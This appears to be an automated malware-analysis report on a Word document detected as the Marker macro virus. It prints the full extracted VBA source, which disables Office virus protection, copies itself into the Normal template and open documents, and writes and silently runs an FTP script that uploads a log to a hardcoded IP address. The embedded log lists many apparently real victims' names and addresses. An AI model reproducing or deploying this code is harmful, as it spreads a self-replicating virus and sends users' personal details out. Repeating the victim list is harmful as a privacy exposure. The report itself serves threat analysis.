MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1190 Exploit Public-Facing Application
T1071.001 Web Protocols
The sample contains VBA macros that are designed to disable macro protection and replicate themselves within the document and Normal.dot template. The script also attempts to download a second-stage payload from the hardcoded IP address 209.201.88.110 to a file named c:\netldx.vxd. The presence of self-replication and AV tampering heuristics, along with the download functionality, strongly suggests a malicious downloader.
Heuristics 4
-
ClamAV: Doc.Trojan.Marker-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-5
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
'Switch the VirusProtection OFF Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6024 bytes |
SHA-256: 20404b1c506f61f972e74647943deaec553b330a38ebd3327a76702f9c649399 |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.codemodule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.codemodule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.codemodule.Lines(1, ad.codemodule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.codemodule.Lines(1, nt.codemodule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For I = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next I
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.codemodule.Lines(1, ad.codemodule.CountOfLines)
'Write a log file of this NormalTemplate infection
For I = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, I, 1) <> Chr(13) Then
If Mid(Application.UserAddress, I, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, I, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next I
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.codemodule.deletelines 1, nt.codemodule.CountOfLines
nt.codemodule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.codemodule.Lines(1, nt.codemodule.CountOfLines)
ad.codemodule.deletelines 1, ad.codemodule.CountOfLines
ad.codemodule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 11:27:50 AM - Monday, 28 Dec 1998
' Marsha Spitz
' Marsha Spitz
' 6th Floor
' Blue Cross and Blue Shield Assn.
' 225 N. Michigan Ave.
' Chicago, IL 60601
' 04:30:23 PM - Tuesday, 29 Dec 1998
' Anna Keyser
'
' 03:22:39 PM - Wednesday, 30 Dec 1998
' Barbara Allen
'
' 03:31:57 PM - Thursday, 7 Jan 1999
' BCBSA
'
' 10:11:44 AM - Monday, 11 Jan 1999
' Harold S. Cooper, F. S. A.
'
' 04:56:46 PM - Wednesday, 20 Jan 1999
' Brian M. Septon
'
' 09:38:23 AM - Tuesday, 26 Jan 1999
' Atul Agarkar
'
' 12:55:40 PM - Wednesday, 27 Jan 1999
' J&G Holland
'
' 10:02:15 AM - Thursday, 4 Feb 1999
' Sharjil
'
' 03:40:34 PM - Monday, 8 Feb 1999
' Gaurang Damani
'
' 05:04:25 PM - Wednesday, 10 Feb 1999
' GSIA Notebook
'
' 05:54:04 PM - Thursday, 18 Feb 1999
' Ven Deshpande
'
' 02:50:15 PM - Saturday, 13 Mar 1999
' node9
'
' 02:37:55 - vendredi, 12 mars 1999
' INDIAN
'
' 01:02:45 PM - Tuesday, 20 Apr 1999
' etv
'
' 01:45:27 PM - Friday, 28 May 1999
' etv
'
' 10:50:18 AM - Saturday, 22 May 1999
' UKMRRG
'
' 12:10:07 - Friday, 18 Jun 1999
' USHAKIRON MOVIES FILM DIV.
'
' 03:01:46 - Thursday, 8 Jul 1999
' USHAKIRON MOVIES FILM DIV.
'
' 01:33:34 PM - Sunday, 8 Aug 1999
' Sangra
'
' 11:43:53 PM - Wednesday, 17 Nov 1999
' Sangra
'
' 10:08:30 PM - Wednesday, 19 Apr 2000
' Sangra
'
' 11:59:29 AM - Tuesday, 6 Mar 2001
' McNair Secondary
'
' 01:56:29 PM - Thursday, 14 Jun 2007
' Richmond SD38
' Richmond School District #38
'
' 09:29:30 AM - Tuesday, 30 Oct 2007
' Toni Morrison
' RTA
'
' 04:12:41 PM - Thursday, 13 Dec 2007
' Toni Morrison
' RTA
'
' 11:03:19 AM - Monday, 4 Feb 2008
' Cathy Hammerschmidt
' RTA
'
' 10:06:02 AM - Wednesday, 21 May 2008
' Richmond SD38
'
' 07:41:46 AM - Saturday, 7 Jun 2008
' Christine Marin
'
' 09:28:56 PM - Sunday, 23 Nov 2008
' Erin Cammell
'
' 02:45:12 PM - Sunday, 22 Nov 2009
' Christine Marin
' A.B. Dixon Elementary
' 9331 Diamond Road
' Richmond, B.C. V7E 1P5
' Canada
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.